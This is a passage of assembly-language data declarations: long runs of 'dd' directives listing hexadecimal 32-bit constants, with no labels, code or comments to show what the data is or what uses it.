		dd 0B026D1BFh, 0CB10DE00h, 17834C5Bh, 53AB0FCDh, 8A8058DCh
		dd 0A08DCAD2h, 0FFCFC400h, 92EC192Ch, 221E3D42h, 0B1847780h
		dd 5E47A8EAh, 8BB2D207h, 16C00F24h, 501E97C3h, 1BC19C7Dh
		dd 0C9C4089Ch, 0BC042EC5h, 91E308Bh, 90481F10h,	5988ECA3h
		dd 0D174A01h, 5E187C40h, 4200928h, 0D01B99FAh, 60D4494h
		dd 4424F044h, 5A44235Dh, 4151488Ch, 794E642h, 2D0028AAh
		dd 97988AF8h, 3E0344A5h, 85292364h, 77BE4E5Dh, 0F3794323h
		dd 0D4889383h, 0AC00B2A6h, 0C624D717h, 0B3E89Dh, 2AD38934h
		dd 0ABF36983h, 71A25Ch,	3228C064h, 2CF5E005h, 77D924h
		dd 0D2EB0CC5h, 872CA9B7h, 0E700D93Ah, 0B6454A74h, 242F0079h
		dd 53779D82h, 0D600A44Fh, 0A76DA021h, 1033128h,	8A9F3AB5h
		dd 0E83029CCh, 1A001D8Dh, 0A01090B3h, 8FAD56h, 6E02AB05h
		dd 0CC378A2h, 689AD703h, 0E1DD9Bh, 0E876910h, 91F6AEF1h
		dd 497F503Fh, 2C260E6Ch, 2F36A782h, 0D0F4E7A3h,	35B998h
		dd 1D5D50C5h, 82FA7DDEh, 0A03748CFh, 17642CF3h,	0F94C0088h
		dd 0B85EC159h, 0DB003B03h, 678B8CE0h, 68020Bh, 6CFE7C17h
		dd 0AEB9D363h, 0A2004DB8h, 51869A53h, 907FE679h, 0EF3F000Ch
		dd 5B20C3F9h, 40065664h, 391BDC9Ch, 13B577B0h, 0BBFCBF76h
		dd 33B20Eh, 15380AD7h, 230E0958h, 4780B064h, 59C7E3E8h
		dd 24D67D01h, 0C043DB52h, 0E108BF8h, 9198F79h, 5A1576E0h
		dd 0D0EAD6Ah, 0E0819DD3h, 1AA397D0h, 30A4003Ch,	496D57C4h
		dd 5097C7D8h, 72AF00B3h, 0B13BAE20h, 5900D9C2h,	4873FE6Eh
		dd 856966h, 0B05C76F3h,	0D67E71F2h, 5F927200h, 16386DADh
		dd 0D2DCC0F7h, 0FE8CE30Ah, 0B597F00Fh, 0DA8A603Dh, 4B5B45h
		dd 0B14FED80h, 0DFE6EF7Ah, 928ECA00h, 1944DE8Dh, 22F054h
		dd 76F2E049h, 0C5D974BCh, 0E472832Eh, 14932400h, 6FB51Eh
		dd 15965FBFh, 0DE9A7AE1h, 0E7D89503h, 7576E975h, 0EFCD0040h
		dd 0AB18311Ch, 0D4906120h, 7A3D731Eh, 95119B40h, 0F3B8B4h
		dd 0DFDB3FBBh, 0AFEFF9DAh, 99C73Ch, 0F16CEB17h,	0C8F5Ch
		dd 0F72A3912h, 13CC1B31h, 93144600h, 55AFC203h,	6D77FAh
		dd 733358B3h, 0B2767B35h, 0ECF0D598h, 1660800h,	56FB1A8Bh
		dd 2099388Eh, 0CF24A700h, 48AEBC5Eh, 0E4C58807h, 0B820EE32h
		dd 0E24F28h, 0B60E5089h, 0F5ECB4DCh, 8EFB7A00h,	0C21F6715h
		dd 2401002Ah, 0F9CB4AF0h, 5E790F6Dh, 600AC724h,	0B629E600h
		dd 24805F18h, 158F5B2h,	0EF612EEDh, 82373016h, 6C0B637Fh
		dd 8E6D595Ah, 20B600F0h, 7336727Eh, 956601A4h, 0E73254Ch
		dd 0A82BE8D1h, 9C6948C0h, 0C50F5EFh, 378BE199h,	52006019h
		dd 0FA672228h, 211E9Eh,	0DA803032h, 0EFE7A689h,	7A291018h
		dd 7EA3A0h, 0AC551A7Ch,	0C61E2885h, 94BFCE24h, 71304F87h
		dd 0D8395B00h, 88EC3A01h, 727DC100h, 0EE345412h, 0B6016A7Dh
		dd 0C531F5C3h, 87E8011Fh, 0B06FC24h, 2E9871D1h,	0F4694780h
		dd 0CB00143Bh, 0FF60477Ah, 565843h, 1C63DE48h, 6DF853B9h
		dd 0FE23BF00h, 2AC09182h, 43E90013h, 0AB267F2Bh, 55E689F1h
		dd 0F64D6800h, 0CE1B5B23h, 3F98EA21h, 31006D99h, 62243D8Dh
		dd 4A0B09ACh, 3C7A5D7h,	98671CD5h, 9861FB0Bh, 27280988h
		dd 5C003ABFh, 60871252h, 55D9DA00h, 0B3B8FABDh,	290E003Bh
		dd 59450F44h, 84BA6535h, 87A5ED09h, 0D95EC6h, 0D09749A3h
		dd 4638E983h, 0F8892E6h, 0EEEAA100h, 114891Ah, 326935E1h
		dd 0F424E301h, 26090921h, 0B84173h, 804476F8h, 0D2CA0172h
		dd 29C53386h, 34AFF023h, 0E3A1A803h, 0D8D3950Dh, 249A02h
		dd 266B20B1h, 33DA18FCh, 120DF70Eh, 2B27207Ch, 638E3Eh
		dd 312E78E7h, 25FF38C3h, 0E5806D00h, 0F1329664h, 5EC000D7h
		dd 44286F5Fh, 0A3007B7Ah, 0DBD824A1h, 0C377E9h,	7086E8DAh
		dd 0E73FCA9Ah, 9BAA5000h, 4C4F3ADEh, 28BC0096h,	6BB4E80Eh
		dd 0B1355EBDh, 0A0028CCh, 784FE345h, 38A500C6h,	0B7BD39F7h
		dd 5C1DB44Ah, 0E34059E7h, 0B0D09B9Ah, 52D500FFh, 0A86DF01Ah
		dd 0E1000814h, 0A74689CAh, 7EA13D8h, 426145BAh,	47261038h
		dd 18001122h, 873DB094h, 1276CEFCh, 165B2CBh, 2655B49Ah
		dd 89683080h, 0A80B5904h, 0A1C033BCh, 3FE4D51Bh, 8C01756Ah
		dd 0DCF57945h, 55C720A3h, 0CB46400Bh, 8089F585h, 0CEB0D280h
		dd 64004FFBh, 951826C1h, 1E0C11CDh, 0C0660FA4h,	507C68C2h
		dd 0A0130DACh, 0A604F57Dh, 9280ABF0h, 924C74h, 710CFBB9h
		dd 2A056911h, 0EBF6E401h, 8196254Ah, 3BC973E8h,	0B07DFC64h
		dd 0F82B00A2h, 9FCEF7B9h, 0AC009D5Ah, 8F33B326h, 24B84DFh
		dd 0C74F1367h, 0B880C172h, 0BD46B066h, 2192FD03h, 1C83C63h
		dd 1CA77918h, 0D4086A13h, 16014737h, 284431E9h,	56D88709h
		dd 96C000BEh, 0F101BFF5h, 747B4D0Ch, 0F4DE6F09h, 900B80B3h
		dd 7FB92Ch, 44609BDh, 67E6EA5Fh, 99CCFD00h, 2AC1045h, 0C0941C8Fh
		dd 20C7C093h, 8AE0313Ah, 300D371h, 0BB4E6CDEh, 4827E866h
		dd 7730CFh, 0C7B7ED5Ch,	4065F810h, 5218DA60h, 989588ADh
		dd 0F71A1E8Ch, 7DB500EEh, 0FBE6FEDDh, 4ECBBA00h, 0A8A1365Fh
		dd 0E451015Eh, 594276DBh, 6B1080A9h, 0A3AD3DCBh, 950B0063h
		dd 0CE6869Dh, 0B73C69F4h, 8CF52699h, 0EAFE5407h, 1A6EECB0h
		dd 0FFB600E8h, 0B88D6384h, 0C500DA5Ch, 7CF1C62Bh, 69B4D4h
		dd 0D3088142h
		dd 0ADA2F8CDh, 0ECB2E128h, 60F2F40Fh, 3B3EF6Bh,	9872487Bh
		dd 30A85C56h, 0F958EDADh, 2498B5EEh, 0A7D5F350h, 398A1600h
		dd 0EFD29D01h, 272B1C8Ch, 332EC00Eh, 99E21E9Ah,	0D7192303h
		dd 0D79D61D1h, 3EB787E0h, 5D0600D6h, 0B0304C67h, 0B4003AFCh
		dd 0D087D49h, 71DE66h, 0DF97559Dh, 1BD6DDB8h, 38A47800h
		dd 0C32EE38Ah, 0E8250367h, 0DAB6E706h, 0BEC046BBh, 210FEF95h
		dd 0C32360A5h, 0F0A27C82h, 0B8E46Ah, 3A7BBCB7h,	69B0C7EFh
		dd 59A03100h, 72CD2C1Eh, 5EBE0008h, 1CCCC1CEh, 280022E5h
		dd 0A5334394h, 0C4FEBh,	0F348C972h, 3B2DA851h, 38BC539h
		dd 35BC239Ah, 442EF097h, 74280189h, 0E1F36BB2h,	32D5EC98h
		dd 0FF753B00h, 0BFD6FDB6h, 0EEFAA7h, 310E264h, 6760759h
		dd 288EA600h, 80A865DBh, 3A470194h, 0CD99F6CFh,	2458E8E5h
		dd 8041BF3Dh, 4A53872Eh, 7FDB71h, 0D12FF346h, 0B0F8F41Bh
		dd 731E1001h, 8A63EC6Ah, 43242880h, 0E1B215CAh,	0F7C73F00h
		dd 6EBA78F2h, 17207CD6h, 0AB2A95h, 2BDE821Ah, 773CA169h
		dd 50C28F8Eh, 7FE620EAh, 1039A5Ah, 0CA766253h, 0F0E57729h
		dd 3B00D50Bh, 0A236E964h, 72903556h, 0ABA3C71h,	0AED1C180h
		dd 0A15CC36Eh, 940F500h, 3227F296h, 29880037h, 4D1002C1h
		dd 0AF002214h, 345E569Ch, 441EEBh, 68DBBBCFh, 0CD818EA9h
		dd 0CC2AB628h, 6787C802h, 409FA8BCh, 403E323Ch,	0C4304455h
		dd 0FBD710E0h, 554009Ch, 0EBD09386h, 0E8FF178Ch, 0EA067670h
		dd 29E2A58Ah, 0CD1B0050h, 0C2EB7E64h, 0F30770CBh, 0F9420693h
		dd 7B52B5C1h, 806020h, 31278984h, 108B3E97h, 1E0162E8h
		dd 0E1908FD3h, 66C83B25h, 0E3A60041h, 0BAFD2F75h, 0A2F05463h
		dd 16709300h, 0D54A4C46h, 4CCE049h, 79D1104Fh, 0BDC6C165h
		dd 93218027h, 83ACCB41h, 6DAB0047h, 282D5244h, 5000FF95h
		dd 0EE3FB023h, 674E7Bh,	41534D4Ah, 56546D58h, 47B1D8EBh
		dd 6056B3Ch, 6827AD0h, 38700C0h, 791383D2h, 320312D5h
		dd 96B088B4h, 0FBD4D044h, 0F487009Bh, 0D2EF9AE7h, 851CA978h
		dd 3700D65Fh, 2E722A45h, 7DF728ACh, 0A1A614D0h,	5D80E8D9h
		dd 0F86FFB60h, 79C6C02h, 8FACFDB1h, 4A6DA1E9h, 9C20A5F0h
		dd 3F7700F7h, 0D01B2466h, 0B300E172h, 3BAA78F8h, 4DB9186h
		dd 0EC40463Dh, 0DDC0FEF0h, 224ACBh, 6054135Fh, 0C8612C36h
		dd 0C645BC17h, 5B861507h, 435D8810h, 2E6C0002h,	294AEF1Ah
		dd 1E07E0A1h, 977374C7h, 0C0E4FBE2h, 0DDCF1Ch, 0F9805A83h
		dd 0F88FACCAh, 408BFE1Fh, 0DD259C0Fh, 5C64A740h, 76DA1AFh
		dd 0E759D698h, 0A360EE35h, 0A6E62632h, 3DB5A700h, 0D3EF550Ch
		dd 0C89E0084h, 8C23097Fh, 13D2E1Fh, 25F78754h, 67C0DB3Eh
		dd 36AC55h, 229CC32Ah, 52C863F1h, 61718600h, 0B8CDF10h
		dd 0C7D4B019h, 90E1CC18h, 271474E5h, 3D0003E8h,	0B573E032h
		dd 0F77D2h, 0CCF412F5h,	0D344F12Dh, 858C080Eh, 0EF7646h
		dd 1C278DA7h, 92002D0Bh, 82786776h, 7C6B24DFh, 0DEDA0087h
		dd 0D359F3E3h, 533D2F9Dh, 2B3C0217h, 0C0A54D25h, 28B760D1h
		dd 0EDAA31h, 2ECDBCA6h,	97741506h, 58CEFB1Eh, 0A117E280h
		dd 7C51BA49h, 0EC663F91h, 0DC809000h, 0C50DDDA5h, 0A81B5000h
		dd 4F61F68Eh, 0C98F0083h, 8CB1E47Bh, 4501D9EFh,	5988DFB7h
		dd 0F4209474h, 91600B9h, 0BD71184Ah, 0B700291Eh, 6652DCC8h
		dd 4E1BF79h, 5115ED59h,	1670802Ah, 0EB18172Bh, 981024DDh
		dd 0C0FC1202h, 27AF0383h, 1800254Eh, 0D813FFD3h, 0AE57DBh
		dd 7741A684h, 7E8E31B8h, 8611A509h, 6A9C80BAh, 0F904C9h
		dd 88BD2C91h, 26023210h, 0BF457D00h, 18CD82C1h,	246B4D63h
		dd 0E64C2C02h, 0EC409506h, 0E2004E9Ah, 0C91D8E71h, 85CED3h
		dd 92363AC7h, 0F1F80E8h, 53D03107h, 5770FC8Dh, 0C8E41Eh
		dd 0E086FB9Bh, 6752F305h, 0E5754400h, 4E6ECC26h, 0E0B07DD6h
		dd 97C4077Ah, 60421ED4h, 36DE403Ah, 83077305h, 0A481CCA0h
		dd 2830C858h, 7147916h,	0ACA12D1Ah, 8EF7B07Eh, 0CA2CB3C3h
		dd 681CE4CFh, 0FFC07B9Ch, 0DFDC6A02h, 0D61A1B56h, 0D8B8212Fh
		dd 9EFB9A92h, 99803511h, 1E5CB1D3h, 8474002Ah, 5F9BB057h
		dd 0A81FE93Ah, 4980190Eh, 8672A7EDh, 4B6105BDh,	80D0FC3Fh
		dd 0ED22238h, 45CED11Ch, 62A3F4C0h, 83E01Bh, 6E3178C2h
		dd 4126E766h, 4340E900h, 63346412h, 9AFCF2h, 0F5241F81h
		dd 5584A6ABh, 89740F00h, 4AB9AABFh, 8EDE005Dh, 0C5DF1F8Dh
		dd 0DC0B33B8h, 8030BE63h, 0C683AFB2h, 14B700ABh, 662F1D95h
		dd 9D7B2926h, 1B262AF2h, 0C4007035h, 0EA0E985Dh, 0E23A051Dh
		dd 88C85Ah, 9994EC8h, 0E007C310h, 0EC735F65h, 0FF7D5940h
		dd 7F0A0A8Fh, 194BBF5h,	8813A24Bh, 7CC440C0h, 0A94B02DBh
		dd 0E9C59F00h, 19F3822h, 840C28DDh, 80BA89FFh, 0A61C5738h
		dd 51A794Ah, 4CF77CA0h,	659C0917h, 0F33B2820h, 3E00D814h
		dd 275C1387h, 0F5C692h,	22AC7F93h, 0B6880F84h, 0F0D94F01h
		dd 64FD1ED3h, 3869B840h, 39AD7E08h, 77165327h, 4B7200F1h
		dd 0A9E0F2DAh, 910D4707h, 805BA181h, 7725A78Ch,	96CD07D0h
		dd 0F09FAFD9h, 0F0B06960h, 0A7F10D00h, 54B29AA3h, 7F6D0045h
		dd 0DF66B862h, 2D007150h, 4167A426h, 65604ECh, 0A048AC07h
		dd 3F00D1F3h, 0CB5A5C0Dh, 66BC6Fh, 861C31A4h, 0BA7C3E8Bh
		dd 6E8E7200h, 0BB368710h, 38BD7AFBh, 9AD09E19h,	7B7D1CC8h
		dd 0D40A40D9h, 4E8EC9A5h, 3C125Ch, 639702D2h, 22EB93h
		dd 1D550FF0h, 787DE410h, 0F30DB91Dh, 0DF9F64C0h, 795F7A2Ah
		dd 346000CBh, 0CA1129A7h, 7D00FAB2h, 62440EFh, 6C3596h
		dd 605A0E37h, 9A03F47h,	0EC4ABB00h, 80BB833h, 209C009Ah
		dd 6A84B0BFh, 8C003FB5h, 0C4AD905Bh, 0A067ACh, 33CE226Bh
		dd 602A4894h, 0F01F501h, 64C81573h, 0EA9D108Eh,	8CAA1C40h
		dd 930054C2h, 0AC583AA6h, 4C0B6C29h, 890F5CDAh,	7CA0B67Dh
		dd 0DE9A5321h, 377AD200h, 0A484C71h, 474000ACh,	0AF745A49h
		dd 5D4D5F7Bh, 0DE0B00ACh, 0D314558Dh, 0F456078Ch, 90983867h
		dd 3475B7E2h, 31038CA0h, 0DECFC12h, 8176670Bh, 0A661F71Bh
		dd 162C220h, 6B8D66A5h,	200455FCh, 110041ABh, 0A5AA873h
		dd 17FD9A87h, 32F3712h,	25A12A5Ch, 33BE7790h, 1E60E91Bh
		dd 0A88CA068h, 2B89452h, 142BA995h, 0D0971068h,	91764500h
		dd 0A2530B59h, 0EAEF0751h, 800AC1C6h, 0D4492687h, 6A20D860h
		dd 0C7291Ah, 0EF2DEDAAh, 53C87A73h, 2879D501h, 99AE5188h
		dd 0B394180h, 4F976854h, 92DFF100h, 94CDF6D6h, 59D718F2h
		dd 0EDD0282Ch, 0FC54AD24h, 0A986321Dh, 0C06984C9h, 0DBF75D20h
		dd 813B7F41h, 1D6F819Dh, 33A0231Fh, 0EB509880h,	0B10FCBE6h
		dd 93BC3903h, 899C7CECh, 0A4D1F361h, 0F90920h, 0E5AE868Eh
		dd 0BB2974FAh, 0BE7C3600h, 44EABD5Dh, 0CAA200B4h, 0AC7E5EECh
		dd 273762ADh, 0BB608111h, 0CA2DD739h, 40042C11h, 0E9AE6726h
		dd 780009F8h, 4BEDB75Eh, 0CD9437h, 0AD73976Ah, 8D577E31h
		dd 35DDA901h, 5AC99A0Eh, 1EAC3730h, 804456BAh, 0EC8DB415h
		dd 0AD001267h, 0F1BF8128h, 0B83AE669h, 7F7600D9h, 65664A9Ah
		dd 6E015E6Fh, 89AF4F15h, 0EEC887D6h, 0BBFA62h, 50540DABh
		dd 5D6308A0h, 0A2FDAA00h, 0D05EA1F8h, 76070F09h, 5360E649h
		dd 6F362BFBh, 95BCC31Eh, 809FECC9h, 0F073B2C8h,	0D45E1E3Ah
		dd 143C802Bh, 685AFC25h
		dd 2474E2F0h, 138B2D00h, 0E9E71271h, 0F618007Bh, 0E6567AEAh
		dd 0BA009EB8h, 685FF91Dh, 0EC411038h, 3B7C7Ch, 11FB6A63h
		dd 0D44CF398h, 0C5EDF600h, 49CC96E4h, 308700ADh, 0C34E591h
		dd 6300E118h, 0A82761FFh, 712853CDh, 41CE0009h,	847B5A3Dh
		dd 0BB0032E5h, 0D13987E9h, 3BD99E03h, 0F505223Ah, 4A0A06CFh
		dd 0A0BDDCh, 0F1EBCDA3h, 2F445213h, 0C5B00BFh, 0A25A4BDh
		dd 0CE00C18Dh, 8816D9D3h, 0F798EF8h, 0F01853FFh, 38402880h
		dd 3D004EE2h, 19D3E1ADh, 12532529h, 218CD903h, 0C033AC0Ch
		dd 0F800FF36h, 98096A37h, 0DAE39h, 2AC3E9E0h, 0B8DFED63h
		dd 0E3271E01h, 8904F6D8h, 0C4EBC8h, 1D32A3B5h, 72AF8308h
		dd 0A6D43000h, 6739CB97h, 76F9004Ah, 9C232933h,	4878083Eh
		dd 38DC60C0h, 39F0AB1Eh, 0F800E283h, 7B46E6E3h,	0B076885h
		dd 3686423Eh, 0D1F206E0h, 0B99D00BBh, 4B9F75E4h, 32007C41h
		dd 0F4888234h, 772AD36h, 0CDCC4F91h, 442A90E0h,	0D4A1ACE6h
		dd 0AACBF443h, 0A8F484F6h, 0EA809E03h, 0C7A1ADA0h, 0F3552440h
		dd 0A970001Eh, 44F96DD4h, 9400F8B1h, 0BE460A7Eh, 7BBF5Eh
		dd 0ADC46272h, 0F65B790h, 0D8C5DE2Ah, 9C7F8A00h, 96677C4Ch
		dd 89E44Dh, 0E206D44Bh,	7723B753h, 0BCA8D60Fh, 0E0D92E69h
		dd 75E329F9h, 38DF00B4h, 7F55E40h, 420092FFh, 0EA4F9A65h
		dd 0EEF019h, 0B96D6B4h,	1354B7Dh, 0EFB97109h, 6D8E001Dh
		dd 3D420644h, 0ECC8433Dh, 0AB0E2C39h, 0A40E6EE8h, 4DC60880h
		dd 0D80376DAh, 0ED77C74Bh, 0DC86E8E2h, 70F7010Eh, 0B568E601h
		dd 0E809D1D9h, 6404E302h, 0AD40B4A1h, 0D80BC87h, 9683387h
		dd 9BB64D7Eh, 53A86007h, 88B81E9Ch, 0B801373Fh,	4D7450A0h
		dd 2820346Ah, 0AFD512F7h, 0A25C0032h, 17547508h, 0DE244892h
		dd 108340D0h, 900DFFA5h, 90E0158h, 6A958660h, 9D1E7820h
		dd 9800A8BEh, 48D53780h, 67E23Fh, 28428A2Ah, 617DFFE7h
		dd 0B6FA8F00h, 70DFE402h, 0BE8124D7h, 51248764h, 9A85008Eh
		dd 0EC0030D2h, 944DE6BDh, 1407AE5h, 24C53D8Ch, 0F4817B62h
		dd 5A03E7AEh, 4EF880BAh, 47259875h, 9760C30h, 0EC18BB49h
		dd 8A5E1700h, 0D38D3E58h, 615133AEh, 5BF0C540h,	0FA005C8Ch
		dd 0C47F7933h, 57BDE1h,	703DB8C3h, 0D7F1883Eh, 0BFA6DF00h
		dd 94FE6E60h, 0FF690073h, 35BC1249h, 0F31E405Dh, 0E680C029h
		dd 3786B9EBh, 27560065h, 69D576AEh, 0F902BE11h,	708910FAh
		dd 9844402Fh, 0A2910050h, 81DE3C31h, 1700BB07h,	83898465h
		dd 2DE8BCh, 1121FFB1h, 6437B57Bh, 0E3A82000h, 2235A63Ah
		dd 0D3D000E7h, 0B770CECAh, 0F400ADF7h, 2E826CD6h, 3AFC84h
		dd 6604D1A2h, 0DA0E1753h, 487A39h, 35980760h, 0B03F436Dh
		dd 0C06B03E9h, 954FD6FDh, 0C518EA02h, 4966C1B5h, 99E8C754h
		dd 0FF9009Bh, 50566144h, 4214F2C9h, 0D0EEDBh, 0D99BAF65h
		dd 80836Dh, 59DEFBB1h, 0C8E27C32h, 7B293Dh, 9AA119E3h
		dd 0D58535h, 2EDAFE0Eh,	50758B63h, 2AEACD00h, 4276B9B7h
		dd 317F690h, 6ABD4D9Dh,	4AE05C48h, 0F500DDA0h, 19206C98h
		dd 7FD347DCh, 0B87D00DEh, 0BC507D9h, 8100CF21h,	0AF6A784Ch
		dd 0ADA903h, 3693B01Ah,	0B6E9676Bh, 0D6EF5200h,	14E19781h
		dd 359F0D8h, 46238D62h,	5D81C64Eh, 0E87AE53Ch, 0D200830Dh
		dd 0F769A2E2h, 17AC12h,	0DBABEF53h, 0D8DAE662h,	1F3E2A0Fh
		dd 0E31C8E7Ch, 2B6C648h, 4A30E5C2h, 0D180A7DDh,	0F373AA29h
		dd 0AF5EC800h, 1DFF2EB1h, 39F698h, 9BCFC17Bh, 0A34B19B2h
		dd 6F4A7100h, 385D8A0Ah, 836000F4h, 486CBB3Ch, 0C37F3FAAh
		dd 30B21E1Eh, 9F3F9CDEh, 0EF8047D4h, 0F625CA5Eh, 0ACCB042Eh
		dd 0C24C6D0Ah, 4BE28A44h, 0C6A78200h, 2B004D62h, 2018512Fh
		dd 999D1Dh, 0B2A69106h,	1FEB108Ah, 0F98D4E00h, 0D1B08489h
		dd 0D62B00C2h, 6A42A749h, 601139Dh, 0DBCD6F96h,	0BBC4DF3Ch
		dd 60080085h, 7A7F2103h, 431C1B97h, 1E4F7781h, 426503E6h
		dd 0A19990DAh, 0C241C0B6h, 7A2FBB76h, 18BD6100h, 803C87A3h
		dd 0DEB0073h, 0C0D12CF0h, 80B58307h, 7B750B54h,	3B223D24h
		dd 8800443Bh, 6AE52787h, 3000A06Bh, 0CC6F92B1h,	0E18D78h
		dd 7A7B09DBh, 6B1C011Dh, 821A340Dh, 0AE8E0C7h, 96D03F2Ch
		dd 589874h, 459BA885h, 0A3C78DC4h, 24003890h, 329023BEh
		dd 8FE9FFh, 8B054031h, 151292ADh, 0C89430Fh, 7A4C6013h
		dd 15B3F1Fh, 62561C7Bh,	0D5546624h, 57933020h, 0A15CE8FEh
		dd 0C9F61D24h, 0BF8850B8h, 0C4B25C18h, 1074871h, 0C7CC76CAh
		dd 31D41E40h, 6442F011h, 151DEA0Dh, 0ACE0288Ah,	868B00E9h
		dd 0C403FEB0h, 74053671h, 0D9F0E694h, 0F5EA80FEh, 2F7BA3C9h
		dd 8361C06Fh, 0B18268DEh, 49F8DC92h, 116A6006h,	0AA8FFB64h
		dd 80D9783Fh, 2CF98A1Eh, 548DE995h, 7BC42849h, 0E1D900D1h
		dd 503FF2ABh, 443D0456h, 1B338113h, 741FD6D5h, 32B4570h
		dd 0AB8DDAC1h, 28FB4092h, 0E2C27F88h, 0EB8E3E09h, 0C34E00D9h
		dd 1E4FB14Bh, 0C0249E65h, 0DB6D481Dh, 0D3B0428Ch, 27AF5F00h
		dd 989DACB6h, 0E8CBE402h, 537D00A3h, 74E90AC9h,	1700D961h
		dd 0ED7C7E47h, 0F358F6h, 3268284Fh, 739CAF24h, 88514200h
		dd 252DF9EAh, 0D0D968C7h, 0F004238Ch, 0DC60EE22h, 0B48FE810h
		dd 0CB090EE0h, 0FE20457Ah, 5FE6C499h, 77CD0E0h,	67F5C007h
		dd 2CC10405h, 9F474649h, 0E019EEC0h, 2C9E502Fh,	0D1203F8Eh
		dd 7250E1B1h, 18A0086Dh, 29DC78F2h, 9D75262Ch, 0F267BCA1h
		dd 0F6ED80DFh, 0F5EAA576h, 6ACAAECh, 48BAC931h,	0AD5461E3h
		dd 0DE403460h, 9C9D188Eh, 3F9F1989h, 5A8711Fh, 93F6C642h
		dd 7D7098AAh, 7B9480F5h, 34AD63Ah, 0A44805E2h, 0B5E810F0h
		dd 0AE61F04h, 0C98047DEh, 0F364B072h, 78C34479h, 0F8ABE315h
		dd 0ED48804Ch, 7C25D5EFh, 453E1874h, 9EFCA973h,	31C79C22h
		dd 0B6F8FA8Eh, 42A89EC8h, 38FD3B8Ch, 0E5C03071h, 1AA39FC1h
		dd 39C89E31h, 8EE84AE9h, 0C5C4841h, 8246677h, 840021CFh
		dd 0F6C9F02h, 3CC4732h,	0A864FF97h, 689E7F29h, 364CBD34h
		dd 4E2BC07h, 182083A3h,	6819D210h, 2972B0E4h, 201BC8A3h
		dd 398DBFBh, 0C8DCA3C9h, 5040D579h, 4D60EDE4h, 3A6F340h
		dd 146F12ACh, 7C1C0178h, 40FD7155h, 0EEDD89B8h,	0F4615612h
		dd 9A9C3040h, 0F347B5h,	6635E223h, 2B3DA7E5h, 8C00D37Ah
		dd 0BFAD9AD7h, 511FF9h,	390171B4h, 4D926948h, 80167938h
		dd 8C88D6CBh, 0C140ECh,	36552077h, 0B8EE5A29h, 84C76300h
		dd 4BED7BFEh, 1E2B00D5h, 2E3A44F4h, 0C500BF9Fh,	214362EEh
		dd 0C6D282h, 766E0993h,	925229B3h, 0B6475600h, 0D670CC41h
		dd 258C07D7h, 0E0C726F2h, 0E276F4DEh, 8E69BC1Fh, 0F70D6680h
		dd 3ECF649Bh, 0C507B1DDh, 0D0EF372Dh, 28074F58h, 248DA500h
		dd 25DDF365h, 64260018h, 0EE0F8BD6h, 91005FA7h,	0A14045A9h
		dd 68174Fh, 0C0BD5D29h,	54FB1423h, 9D09B303h, 0B8F524h
		dd 0DE078E20h, 57F9D4B0h, 0EE3B7F00h, 0A4A152CCh, 0C76E18DAh
		dd 7582841h, 0AFCAA300h, 0CDB5F4A8h, 15578CCh, 41BAD31Ch
		dd 0FC73905Dh, 470FE6B3h, 0A37EC4FFh, 4D215Fh, 0FB5BD841h
		dd 0E5E1ABB9h, 0DDECCF07h, 0F500B6Eh, 7910A633h, 0DA731816h
		dd 0B2CE807Fh, 9C254B07h, 38D09A66h, 0DFD0EDh, 0E137CB7Eh
		dd 8CC16AE6h, 4F9C5B00h, 0B919C810h, 79D23AA9h,	0DDA45900h
		dd 0B263F36Fh, 0C31B3Fh
		dd 5A246836h, 0C496E7h,	9163E90h, 288A947h, 91ABDD18h
		dd 0EF2530h, 6C065CA4h,	0A6AEA38Ch, 10F118C3h, 91500012h
		dd 780A7F7Eh, 600F5D37h, 806AAE86h, 6C844311h, 5C243C92h
		dd 4E01CC40h, 3F86789h,	8BD03412h, 6BA018FAh, 64DF7183h
		dd 26D1A900h, 9D1F16A5h, 5C211C7Dh, 8DEEC058h, 612C1207h
		dd 780074FCh, 0EAA4E5E8h, 107DA2h, 454CF3FEh, 15B28BB3h
		dd 0C36B8D00h, 7C239616h, 630FF206h, 172EC907h,	0EF561806h
		dd 0E065D8h, 0E0276AC9h, 93A1F6D2h, 0B9698433h,	2535F8BDh
		dd 88080E67h, 0FF80E123h, 7AFBE7C8h, 241F287Ch,	0DA033E18h
		dd 390FC95h, 435F1618h,	0C0E53D87h, 0FDE8A1C9h,	0B1CD2217h
		dd 3A2100Fh, 90835737h,	0E7DC6DBh, 764EE275h, 2023BF86h
		dd 1ABD9600h, 370E0B47h, 32C906C3h, 4057EA2Ah, 293CFA01h
		dd 826B5F20h, 691968B6h, 2B02D146h, 66DB3B84h, 21B90331h
		dd 0AB1AD100h, 0AF455BE5h, 9422A900h, 84DDDC73h, 0A3D0C492h
		dd 5B6BC3E8h, 0C20068A6h, 2A2B1140h, 31103B9Ch,	56083421h
		dd 0E12080E9h, 0BF6E1154h, 1B5D0018h, 6BFA1CB3h, 81EEEF28h
		dd 0FDDCB0C7h, 0A4427905h, 0C0BE50Fh, 95F02FC0h, 8102460h
		dd 482F4h, 0CDD180E6h, 8D41E96Dh, 0F6DC140Ch, 7B2E12F5h
		dd 0C7030059h, 8EC1BAE3h, 0EAEC90A4h, 0F2DAB90Fh, 4E2AC070h
		dd 6B92FDh, 8B69317Fh, 6250C130h, 0BB057300h, 0D6B988FAh
		dd 0F2A726Eh, 17DDB82h,	2EF1AE00h, 5360D773h, 8D0F0232h
		dd 764FF06Dh, 0A8CAA39Eh, 5D3E68h, 2DF4C84Dh, 0E13A48B0h
		dd 78FA7600h, 0E5ED280Eh, 0B7EA0079h, 0BCEBF11h, 777B8FCh
		dd 2056E600h, 83B22119h, 411D10Eh, 10F7DDA0h, 748810C3h
		dd 3124C0B1h, 20C70053h, 2C76EF83h, 0A9F8D484h,	1594901h
		dd 0DE67D890h, 0C5DF2888h, 85F26184h, 0A5426D08h, 0C4FB2275h
		dd 21135D23h, 6B108151h, 0C3C478Ah, 6551F55Dh, 66B32284h
		dd 44296360h, 6C1B55h, 511222CFh, 7CE1E4A2h, 6DDFB500h
		dd 0FAB2B63Fh, 0B9E90385h, 645F0F68h, 30342EF0h, 3B397AFAh
		dd 46810387h, 98289AB6h, 1849C15h, 0A69EC2B0h, 0C499834Ah
		dd 74002E38h, 60C67CB9h, 3D189h, 0A7B096CAh, 8A7F4748h
		dd 0EE791700h, 0C7F7AF34h, 0B70A037Bh, 0B43DE2CCh, 40279DD1h
		dd 5705B1B8h, 0F5808C03h, 987ED6D4h, 0CEE30Dh, 0CD2CF7AEh
		dd 0D0694614h, 0BF0010DCh, 1E22F465h, 0CEB40F3Eh, 32822C9Eh
		dd 0E4A1BD25h, 60A3A14Fh, 1DF85463h, 518CE503h,	0C88BF4BBh
		dd 983A36h, 4347406h, 0CF8B79Dh, 32F5D30Fh, 4B6DA018h
